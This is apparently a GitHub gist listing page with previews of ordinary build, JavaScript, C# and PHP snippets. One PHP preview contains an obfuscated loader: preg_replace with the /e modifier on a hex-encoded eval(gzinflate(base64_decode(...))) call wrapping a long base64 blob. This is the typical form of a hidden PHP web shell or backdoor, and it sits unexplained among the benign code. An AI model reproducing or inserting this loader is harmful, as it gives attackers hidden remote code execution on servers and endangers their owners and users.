This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<project name="ProjectName" default="dist"> | |
<property name="builddir" value="./build" /> | |
<!-- ============================================ --> | |
<!-- Target: prepare --> | |
<!-- ============================================ --> | |
<target name="prepare"> | |
<echo msg="Making directory ${builddir}" /> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
poet.helpers.getPostPage = function(title) { | |
var postsPerPage = poet.options.postsPerPage; | |
var pageCount = poet.helpers.getPageCount(); | |
for(var i=1; i < pageCount; i++) { | |
var from = (i-1) * postsPerPage; | |
var to = from + postsPerPage; | |
var posts = poet.helpers.getPosts(from, to); | |
if(title in posts) { | |
return i; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery.fn.fadeLink = function(options) { | |
var config = $.extend({ | |
color: '#ff8c28', | |
duration: 500 | |
}, options); | |
return $(this).each(function() { | |
var | |
originalColour = $(this).css('color'), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;(function() { | |
var pres = document.getElementsByTagName("pre"); | |
for(var i=0; i < pres.length; i++) { | |
if(pres[i].getElementsByTagName('code').length > 0) | |
{ | |
pres[i].className += "prettyprint"; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZfNjuNGDITvAfIOg8UcksvCUv9JWORN5iLZFnIIcsruet8+zeJHS6MEE+QgWD/dbLJYLNKvj+uf0++Pl5fPv718enu0S7/Gt0ct/Wpvj7Ltz/atXvs19Cv5u3HqV/8+9nXjvV+L3+ubvb/6b+m/ra9NtV/l8Nz83bvvw/vnnA7P3VaaTuvbe3v5tD/NJ3vl9L1+cN7ZH/M3fxDPv/l3jv9s73ze0V46+ZdO5/e1+YzfR/7Vf573v/YT39j9bj3Xxfb3b7nf1wX+2P4BnO3Z8O97mj0bjyxfxp/N9+S+vplPo/PL9uXNz7Fc2rn11q9+Vu1rK8+23mznu8dgfDVbur/5mWbD/GyD89jOHtf+zdaFHzePUVgu/GbfY+fZOSXyZvGubsuezYZhYr5Z7LbP+G951XNyvOXX5njU7m+6eBw5ONDc/2pYLb6ukF/jbyXPiToUJyYwI09ldl8aODz3JH+X0qcvP//02uO/bDkKXoXcN+UbBX73BNg7S0ojcRlQLFADTU7PkGNxJ5ToC+KROXgh4MlJcVxjiSsNApF4syUCXRwMs9Oq76+ri4++VX9v+wQQBNE3CNUAx2IzwJXEi58hYCOZE8LWiOPiyVd8YGJ+GlZGnig6EWvxRAhDMNPajffTjpf84Ex7JxIWt2lnt+PzTBHwvlKAtqeUA86F4mr+K8INjoftz+RC+Nx8nXDb3I5Evnpsjf0q1ObkVHyD36tYKL50KAxhkuHJ4Pjm2fMl3xBB44+40sh98vWGx7Pgi2Nozw1xlt8zsQ+eHztT+/DXsJfYXOBshi/JeSG7cFG4X/0cYVUQowEBauAWz5vbsfzpjOZrxJfV32U4+2wAk9sX92ePU/FV8ry4H4l8m2i0EI9 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
echo "query data:<br>"; | |
print_r($_GET['array']); | |
echo "<br>"; | |
echo "query keys:<br>"; | |
print_r(array_keys($_GET['array'])); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class DownloadsService | |
{ | |
private readonly IDictionary<string, IList<Download>> _downloadsCollections; | |
public DownloadsService() | |
{ | |
// may be changed as a separate config service if we need to change it somehow | |
_downloadsCollections = GetDownloadsCollections(); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public static class CellValuesExtension | |
{ | |
public static bool IsBoolean(this EnumValue<CellValues> cellValues) | |
{ | |
return IsNotEmpty(cellValues) && cellValues.Value == CellValues.Boolean; | |
} | |
public static bool IsDate(this EnumValue<CellValues> cellValues) | |
{ | |
return IsNotEmpty(cellValues) && cellValues.Value == CellValues.Date; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var appContext = ApplicationContext.Current; | |
var content = appContext.Services.ContentService.CreateContent("content", 0, "docTypeAlias"); | |
content.SetValue("quarter", "Q1"); | |
appContext.Services.ContentService.Save(content); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function iterateArrayWithDelay(argsArr, delay, fn) { | |
var index = 0; | |
function next() { | |
// protect against empty array | |
if (!argsArr.length) { | |
return; | |
} | |
// call the callback |
OlderNewer